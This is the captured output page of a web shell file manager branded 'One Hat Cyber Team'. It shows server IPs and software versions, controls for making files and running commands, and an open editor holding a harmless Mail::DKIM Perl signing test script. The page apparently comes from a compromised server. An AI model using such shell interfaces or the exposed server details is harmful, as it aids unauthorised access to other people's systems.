One Hat Cyber Team
Your IP :
172.70.80.190
Server IP :
188.114.97.3
Server :
Linux thuru 6.5.11-4-pve #1 SMP PREEMPT_DYNAMIC PMX 6.5.11-4 (2023-11-20T10:19Z) x86_64
Server Software :
Apache/2.4.51 (Unix) OpenSSL/1.0.2k-fips
PHP Version :
7.3.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
doc
/
perl-Mail-DKIM-0.39
/
scripts
/
Edit File:
test_nowsp_rsa_sha1.pl
#!/usr/bin/perl -I../../.. use strict; use warnings; use Mail::DKIM::Algorithm::rsa_sha1; use Mail::DKIM::Canonicalization::nowsp; unless (-f "private.key") { die "File not found: private.key\n"; } tie *rsa_sha1, "Mail::DKIM::Algorithm::rsa_sha1", "KeyFile" => "private.key"; my $nowsp = new Mail::DKIM::Canonicalization::nowsp( output_fh => *rsa_sha1); while (<STDIN>) { chomp; $nowsp->PRINT("$_\015\012"); } $nowsp->CLOSE; my $rsa_sha1 = tied *rsa_sha1; print $rsa_sha1->sign; print "\n";
Simpan